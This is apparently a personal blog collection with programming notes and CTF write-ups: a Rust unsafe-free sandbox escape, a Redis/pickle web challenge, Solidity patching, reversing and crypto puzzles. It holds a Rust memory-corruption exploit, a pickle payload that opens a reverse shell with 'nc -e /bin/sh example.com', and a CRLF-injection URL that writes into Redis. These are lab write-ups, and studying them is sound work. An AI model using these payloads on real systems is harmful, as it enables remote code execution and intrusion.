An SMT solver that I want

SMT solvers support stack-based incremental solving, but it only supports going back and forth at the end of the history chain and needs manual creation of checkpoints. I want an SMT solver with continuous learning that works out-of-the-box. If a solver previously checked conditions A and B independently, that information could be used later to make checking for A && B faster. I believe a solver with this optimization will significantly improve the performance of many research projects that rely on satisfiability checking.

To be more specific, symbolic execution engines will greatly benefit from this optimization. State-of-the-art symbolic execution engines are caching terms on the execution side to reduce the number of calls to SMT solvers. This optimization surely helps, but it is still pretty limited. Doing similar optimizations on the solver side is more promising to me since solvers have a better context to utilize that information. There is a report that nonoptimized stack-based incremental solving already gives 5x speedup, and I believe we can achieve greater speedup with an optimization based on continuous learning.

Code Golf

Code Golf is a problem about writing a short Haskell code. We have to write a function g, which takes a list of strings as an argument and returns a single string. The given strings have a few holes in them, such as "ha m" and "ck m". Function g needs to find offsets for each strings, overlay them, and return it.

The rules for the correct answer are as follows:

1. The correct offset will never cause two characters to occupy the same column.
2. The correct offset will minimize the length of the final text after trimming leading and trailing spaces.
3. If there are multiple possible decryptions that follow the above rules, the lexicographically first one is correct.
4. The length of the answer code should not exceed 181 bytes.

According to the rules, the answer for ["ha m", "ck m"] is "hackme".

This is our 176 bytes solution for the problem.

' '?y=y
x?' '=x
_?_='~'
(x:c)??(y:d)=x?y:c??d
x??y=x++y
""#[]=[(0,"")]
x#y=[(c+1,a:d)|a:b<-[x],a/='~',(c,d)<-b#y]++[c|a:b<-[y],c<-x??a#b]
g a=snd$minimum$(#)""=<<permutations a

We defined four functions, ?, ??, #, and g.

? is a character overlay function. If one of them is a blank character, it will return the other character. Otherwise, it will return ~. Here, tilde has no special meaning and is used as a placeholder.

?? is a string overlay function. It compares the characters in two strings one by one and overlay them with function ?. If one of them is shorter then the other one, it will concat the rest of the string to the result.

# defines the main algorithm. It takes two arguments a and b. a is the remaining suffix and b is the list of remaining strings. Its return value is the list of all possible non-overlapping overlay result as a pair, whose first value is the length of a string and the second value is the string. We utilized Haskell list comprehension to perform pattern matching and condition check at once.

Finally, function g plugs in all possible permutations of the input strings to #, finds the shortest and lexicographically first answer, and return it.

Sandstone

Sandstone is a problem about writing a Rust code that invokes syscall(0x1337) in a sandboxed environment. Usually, the main goal of this kind of problems is finding a vulnerability in the sandbox logic, but this problem is not about that. Rust is a memory-safe language by default. It allows an additional unsafe operations, such as calling foreign functions or dereferencing a raw pointer, only in an unsafe {} block, which is prohibited in this problem.

We first observed that the problem turns on an optional feature called nll in nightly Rust, which stands for Non Lexical Lifetime (it is a Rust specific term, and it doesn’t matter if you don’t know what it means). We thought there must be a unsoundness hole in this feature, which will allow us to write syscall(0x1337) in safe Rust. Therefore, we searched for issues with NLL-sound tag in the Rust repository. The description for the tag is Working towards the "invalid code does not compile" goal which seems like a perfect match for our situation. However, we didn’t find anything that looks easily applicable to this problem.

Then, we changed our target to I-unsound 💥 tag and found the issue Coherence can be bypassed by an indirect impl for a trait object #57893. There was a comment which includes a std::mem::transmute implementation in Safe Rust, which allows unrestricted conversion between any Rust types.

The transmute() implementation allowed us to search through the stack memory for a libc pointer. After that, we calculated the address of the syscall funcion from the leaked pointer. Finally, we overwrote a safe function pointer with syscall address and called it with an argument 0x1337.

This is our main exploit code:

const PTR_SIZE: usize = std::mem::size_of::<usize>();
​
*transmute::<*mut usize, &mut usize>(addr as *mut usize)
}
​
fn find_index(base_ptr: usize) -> usize {
let pattern = [0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1];
let mut start_index = 0;
loop {
let start_ptr = base_ptr + PTR_SIZE * start_index;
if (0..pattern.len()).into_iter().all(|index| {
let val = read_val(start_ptr + PTR_SIZE * index);
if pattern[index] == 0 {
val == 0
} else {
val > 0
}
}) {
let target_index = start_index + 11;
let target_ptr = base_ptr + PTR_SIZE * target_index;
println!("{:03} 0x{:016x} - {:016x}", target_index, target_ptr, read_val(target_ptr));
return target_index;
}
start_index += 1;
}
}
​
fn fake_syscall(arg: usize) {
}
​
fn update(ptr: &mut fn(usize), val: usize) {
let ptr_ref = transmute::<_, &mut usize>(ptr);
*ptr_ref = val;
}
​
fn poc() {
let stack = 0xabcdef0123456789usize;
let mut ptr = (&stack as *const usize) as usize;
println!("Current stack pointer: 0x{:016x}", ptr);
​
let count = 200;
​
ptr -= PTR_SIZE * count;
let base_ptr = ptr;
​
for i in 0..count {
println!("{:03} 0x{:016x} - {:016x}", i, ptr, read_val(ptr));
ptr += PTR_SIZE;
}
​
let lib_target_index = find_index(base_ptr);
let lib_base = read_val(base_ptr + PTR_SIZE * lib_target_index) - 0x151e0;
println!("lib{} base addr: 0x{:016x}", 'c', lib_base);
​
let syscall_addr = lib_base + 0x1172d0;
​
let mut syscall_ptr: fn(usize) = fake_syscall;
syscall_ptr(0x1337);
​
loop {
}
}

According to the flag, the intended solution was to use Pattern guard can consume value that is being matched #31287.

Issues of Rust’s remove_dir_all implementation on Windows

I am recently working on a CLI tool to manage and distribute CTF problems. While I was implementing the remove repository operation, I got an unexpected Access is denied. (os error 5) message on stable-x86_64-pc-windows-msvc toolchain (Rust 1.31.1).

fs::remove_dir_all(...) in this code was emitting the error.

let image_list = runtime.block_on(docker::list_images(env))?;
if docker::image_from_repo_exists(&image_list, repo_name) {
Err(SomaError::RepositoryInUseError)?;
}

let repository = repo_index
.remove(repo_name)
.ok_or(SomaError::RepositoryNotFoundError)?;
env.data_dir().write_repo_index(repo_index)?;

remove_dir_all(repository.local_path())?;

env.printer().write_line(&format!(
"Successfully removed repository: '{}'.",
&repo_name
));

Ok(())

I first ensured that no program is using files inside the directory. Then, I started searching about the issue. Surprisingly, it was a long-standing issue in the standard library from 2015 (#29497).

According to @pitdicker’s comment, problems with the current remove_dir_all implementation on Windows are:

• cannot remove contents if the path becomes longer than MAX_PATH
• files may not be deleted immediately, causing remove_dir to fail
• unable to remove read-only files

Mine was the third case. .git/objects/pack contained files with read-only attributes, which caused the denial of the access. This behavior was surprising because I had no problem deleting the directory with File Explorer or on Linux. Apparently, this is the default behavior of Windows API, and Python had a similar issue. I agree to Tim Golden’s comment which says that “this, unfortunately, is the classic edge-case where intra-platform consistency and inter-platform consistency clash,” but I hope to have an easy fix in Rust like Python’s onerror argument instead of manually writing a directory recursion with permission handling.

The second problem is also noteworthy. The core reason for it is that unlike POSIX API, Windows file deletion API does not delete the file immediately but mark it for “delete later.” Therefore, even though DeleteFile call returns, it is not guaranteed that the file is actually deleted from the file system. Racing the File System talk in CppCon2015 mentions how to wrongly delete a directory tree on Windows. Unfortunately, this is the way how Rust’s remove_dir_all is implemented.

As a result, the issue is causing spurious failures in rustup (#995). Also, tempdir and Maskerad implemented their version of remove_dir_all to bypass this problem. There was a PR (#31944) to fix this problem, but it was not merged to the upstream because of the difficulty of defining reasonable cross-platform behavior for Windows and Linux, the complexity of permission handling, and the inactivity from the original author.

The best solution, for now, seems using remove_dir_all crate which is based on PR #31944. I understand that it is hard to define the reasonable behavior for this kind of operations especially for cross-platform projects, but at least I could have saved much time if these edge cases were listed in the official documentation.

Mic Check

Category: none
Difficulty: easy
Solvers: 533

The problem description contains the flag. It gives information about the format of the flags.

Flag: SCTF{you_need_to_include_SCTF{}_too}

BankRobber

Category: defense
Difficulty: easy
Solvers: 141

The problem asks us to fix a vulnerable Solidity smart contract. I patched four functions.

• Check sender’s balance in donate function
• Avoid integer overflow in multiTransfer function
• Use msg.sender instead of tx.origin in deliver function
• tx.origin returns the address that kicked off the transaction, not the address of the caller. Therefore, if the contract owner triggers a smart contract which is under an attacker’s control, the attacker can invoke our deliver function in their contract with malicious parameters and pass through tx.origin check.
• Prevent reentrancy attack in withdraw function by swapping line 22 and 23
• An attacker can setup a fallback function that calls withdraw to perform reentrancy attack on the contract. When the attacker calls withdraw function, address.call.value(value)() will invoke the attacker’s fallback function and the control flow will enter withdraw function again. The balance update of the first call has not happened at the time of the balance check of the second call, which allows the attacker to withdraw more money than the balance.

Overall, security considerations page of the Solidity documentation was very helpful to solve this problem. The server gives us the flag when we submit the correctly patched source file.

Flag: SCTF{sorry_this_transaction_was_sent_by_my_cat}

dingJMax

Category: reversing
Difficulty: easy
Solvers: 94

We are given a binary file of a music game. It says that it will give the flag of the problem when we get the perfect score in the game. The UI is updated per 20 ticks using the game data at 0x603280, and one tick is slightly longer than 0.01 seconds. We get a PERFECT judgement when a correct keypress happens exactly at an update tick. Getting one PERFECT is already nearly impossible for a human, so I wrote a python script that attaches GDB to the binary and plays the game instead of me.

solver.py

It adds a breakpoint just before wgetch call in main function(line 16), finds a correct key to press(line 33-48), and patches the wgetch call with mov %eax, (keycode)(line 50-52).

When the script finishes the game with the perfect score, the FLAG region contains the flag of the problem.

Flag: SCTF{I_w0u1d_l1k3_70_d3v3l0p_GUI_v3rs10n_n3x7_t1m3}

HideInSSL

Category: coding
Difficulty: easy
Solvers: 35

We are given a pcap file. Some TCP streams contain a lot of Client Hello messages like below: JFIF in Random section of the handshake protocol looks familiar. It looks like a JPEG file header!

I wrote a python script to collect and concatenate random bytes in all packets from the dumped stream. TCP streams were extracted as hexdump format by right clicking a packet and choose Follow > TCP Stream. There was one more condition, though. We have to concatenate the bytes in a packet only when the response for the packet is 1.

After confirming that this approach gives a valid JPEG file, all similar streams were identified and extracted from the pcap file. This command will show all TCP streams and the number of packets belong to them in descending order:

tshark -r HideInSSL.pcap -T fields -e tcp.stream | sort -n | uniq -c | sort -nr

I manually checked and extracted the candidates with high counts. There were 22 of them. I had to persuade myself not to automate this, because manual work is faster at this scale but programmers like to automate everything.

solver.py

Each JPEG file contains one letter of the flag. Joining them reveals the flag for the problem.

Flag: SCTF{H3llo_Cov3rt_S5L}

Tracer

Category: crypto
Difficulty: easy
Solvers: 5

What_I_did file shows the scenario of the problem. A person encrypted the flag file by a binary named my_secure_encryptor. We are given the public key and the cipher text in What_I_did file, and also all instruction pointer traces (except library call) in a file named pc.log.

The binary consists of several complicated arithmetic routines with GMP, which seems to require a lot of effort to understand at first. I think that is why the number of solvers are small despite of the problem difficulty indicator is easy. Reverse engineering uncovered that they are actually elliptic-curve arithmetic functions. Once I realized this, the analysis of the binary became much easier.

These are elliptic-curve arithmetic routines in the binary:

• 0x402019 is a curve initialization function.
• 0x6032B0 is A, 0x6031A0 is B, and 0x6031B0 is P of curve parameters(Weierstrass form).
• This curve is named P521.
• 0x4018A0 is a point addition function.
• It takes a point $P$(2nd parameter) and a point $Q$(3rd parameter).
• It stores the result $P + Q$ to a point(1st parameter).
• 0x401EE8 is a multiplication function.
• It takes a point $P$(2nd parameter) and a number $k$(3rd parameter).
• It stores the result $k \cdot P$ to a point(1st parameter).

0x401196 is the main encryption routine. First, the binary reads ./flag file and convert it to the point on the curve. The x coordinate will be the content of the file converted to an integer, and y coordinate will be calculated from the x coordinate using the curve equation. After the binary finds the point which corresponds to the flag, the public key and the cipher text are calculated as follows:

__gmp_randinit_default(&rand_state);
seed = (void *)time(0LL);
__gmp_randseed_ui(&rand_state, seed);

__gmpz_init(&rand0);
__gmpz_urandomb(&rand0, &rand_state, 512LL);
multiply(&g, &base, &rand0);

__gmpz_init(&rand1);
init_point(&pub);
__gmpz_urandomb(&rand1, &rand_state, 512LL);
multiply(&pub, &g, &rand1);

__gmpz_urandomb(&rand0, &rand_state, 512LL);
init_point(&ct0);
multiply(&ct0, &g, &rand0);

multiply(&ct1, &pub, &rand0);

Three random values are used here. Let’s respectively call them $r_0$, $r_1$, and $r_2$. These values were not recorded directly, but we can recover them using pc.log. Specifically, we can calculate the value of $k$ for the multiplication function by investigating whether jump is taken or not at 0x401F8E. One check will reveal a bit, and repeating it reconstructs the whole value of $k$.

The encryption routine gives $Pub = r_1 \cdot G$, $CT_0 = r_0 \cdot G$ and $CT_1 = r_0 \cdot Pub + flag = r_0 \cdot r_1 \cdot G + flag$. We can calculate the flag point by a formula $CT_1 - r_1 \cdot CT_0$. Then, the x coordinate of the point represents the content of the flag file.

solver.py

Flag: SCTF{Ev3r_get_th4t_feelin9_of_dejavu_L0LOL}

WebCached

Category: attack
Difficulty: medium
Solvers: 13

The main page of the website contains a text field and a submit button. Submitting a URL redirects us to view page, which renders the content in the original URL.

There is a trivial local file read vulnerability with file:// scheme. I leaked the source code of the problem with following steps:

1. Reading file:///proc/self/cmdline gives uwsgi --ini /tmp/uwsgi.ini.
2. /tmp/uwsgi.ini file shows that the entry source file location is /app/run.py.
3. run.py imports RedisSessionInterface from session_interface.py.

/app/run.py and /app/session_interface.py are code files for the server. The server uses Flask framework with Redis as a session backend. They also give important information about Redis interaction:

• Python session data is stored in Redis under session:{SESSION_ID} key. Session data is pickled and base64 encoded before storing.
• The server uses Python’s urllib to fetch data from the provided URL and saves the data in Redis with a key {REMOTE_ADDR}:{URL} with 3 seconds expiration time.

I used Python pickle deserialization as an attack vector for the problem. This payload will create a pickle, which connects a reverse shell to port 46845 of example.com server when deserialized.

class Exploit(object):
def __reduce__(self):
return (os.system, ('nc -e /bin/sh example.com 46845',))

Our goal is to register this malicious pickle under session:{SOME_STRING} key. Then, setting the value of our session cookie to {SOME_STRING} and visiting any webpage inside the server will trigger the deserialization of the crafted pickle.

We cannot use the server’s caching feature to inject our payload, because {REMOTE_ADDR} would never be equal to session. However, Python urllib‘s CRLF injection vulnerability makes it possible to send commands to the Redis server. When urllib reads data from a URL 'http://127.0.0.1\r\n SET session:' + bad_session_id + ' ' + bad_pickle_b64 + '\r\n :6379/foo', it connects to 127.0.0.1:6379 while containing a line SET session:{BAD_SESSION_ID} {BAD_PICKLE_B64} in the request packet.

solver.py

\$ nc -l 46845 -v
Listening on [0.0.0.0] (family 0, port 46845)
Connection from [13.125.188.166] port 46845 [tcp/*] accepted (family 2, sport 45784)
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>

Running the script successfully creates a reverse shell! ls / command shows that there exists a file named flag_dad9d752e1969f0e614ce2a4330efd6e. Reading it gives the flag for the problem.

Flag: SCTF{c652f8004846fe0e3bf9571be26afbf1}

λ: Beauty

Category: coding
Difficulty: hard
Solvers: 5

The server evaluates a lambda calculus formula that we send. There are two servers; repl server, which just executes our payload and shows the result of the evaluation, and chal server, which applies the flag term to our payload but only gives information whether timeout happened.

let ofString (s: string) =
let encoder acc elem =
Abs("x", Abs("y", Abs("z", Var("z") <<< Var("x") <<< Var("y"))))
<<< (ofInt elem) <<< acc
let castBitArr (x: char) =
let x = int(x)
Array.init 8 (fun i -> (x >>> i) &&& 1)
s.ToCharArray ()
|> Array.map castBitArr
|> Array.fold (fun acc x -> Array.concat [x; acc]) Array.empty
|> Array.fold encoder (Abs("x", Abs("y", Var("y"))))

This function is where the problem encodes string data as a lambda calculus term. Evaluating string true returns the first bit of the string, string false true returns the second bit, and so on. Here, true is λa.λb.a and false is λa.λb.b. The bit of the string is represented as a church numeral, which represents a nonnegative integer n as a function that takes f, x and applies f n times to x. In a nutshell, 0 is λf.λx.x and 1 is λf.λx.f x.

We can trigger timeout by calculating (λx.x x x) (λx.x x x). Let’s call this term timeout. Then, the term 'λflag.(flag %s) timeout false' % ('false ' * N + 'true') provides an oracle to n-th bit of the flag on the chal server; it reaches timeout if the bit is 1 and returns successfully in the other case. With this oracle, we can recover the whole contents of the flag.

solver.py

Flag: SCTF{S0_L0ng_4nd_7h4nks_f0r_A11_7h3_L4mbd4}

Slider

Category: crypto
Difficulty: hard
Solvers: 3

The server implements a block cipher based on feistal construction. It uses three 2 bytes keys $k_0$, $k_1$, and $k_2$. AES based pseudo-random function is used as a round function, whose input and output are both 2 bytes. Overall, the cipher implements pseudo-random permutation of 4 bytes block. There are 16 rounds in total. The encryption routine cyclically uses $k_0$, $k_1$, $k_0$, $k_2$ and the decryption routine do the same thing with the reversed key order.

We can send maximum 1024 encryption/decryption queries, and one additional guess query at last. If we guess all three keys correctly in the last query, the server gives us the flag.

Slide attacks make it possible to tackle only one (or few) rounds of the cipher when the construction has self-similarity. In this problem, all rounds use the same round function whose domain has only $2^{16} = 65536$ elements(2 bytes). Thus, slide attacks are applicable, and if we find the input and the output for one specific round, it is easy to recover the key which is used in that round.

The first step of a slide attack is to find a slid pair. We call plain text-cipher text pairs $$ and $$ a slid pair if they satisfy two conditions $Round(P) = P'$ and $Round(C) = C'$. These pairs can be found efficiently by a birthday attack.

We can leverage advanced slide attacks suggested by Alex Biryukov and David Wagner to solve this problem, namely the complementation slide and sliding with a twist. The first step is to recover $k_2$. The requirements of a slid pair are:

• $R = L'$
• $M = N'$
• $M' = N \oplus F(M \oplus k_2)$
• $R' = L \oplus F(R \oplus k_2)$

We query to the server with $dec(random_1 \parallel fix)$ and $enc(fix \parallel random_2)$ format, both 256 times, to maximize the number of pairs that satisfies the first requirement. Then, for each pair that satisfies the first requirement, we check whether the second requirement $M=N'$ is satisfied. Since the second requirement is a 16 bit condition, it is very likely that a pair which satisfies both first and second requirements is an actual slid pair. Based on the fact, we speculate that the found pair is a slid pair and calculate $k_2$ from third and fourth requirements. Reverse table of $F$ is used in the calculation. The next step is to recover $k_0$ and $k_1$. Note that this is a complementation slide and there are rounds where decryption routine uses $k_2$ and encryption routine uses $k_1$. However, we can also find a slid pair on this setup similarly. Let $\Delta = k_1 \oplus k_2$. Then, the requirements of a slid pair are:

• $R = L'$
• $M = N'$
• $L \oplus F(R \oplus k_0) = R' \oplus \Delta$
• $N \oplus \Delta = M' \oplus F(N' \oplus k_0)$

Similar to the previous step, we query the server with $enc(random_1 \parallel fix)$ and $dec(fix \parallel random_2)$ format, both 256 times. Once we find a pair that satisfies the first the second requirement, we calculate $k_0$ and $k_1$ from the third and fourth requirements.

We can use an equation $N \oplus R' = L \oplus M' \oplus F(R \oplus k_0) \oplus F(N' \oplus k_0)$ to brute-force a valid $k_0$ value. When we have a candidate for $k_0$, we can calculate corresponding $k_1$ from $\Delta$ and $k_2$.

Finally, we check again that calculated keys actually generates the collected pairs. After the verification, send the last guess query to the server and receive the flag!

solver.py

Flag: SCTF{Did_y0u_3nj0y_my_5lid3r?}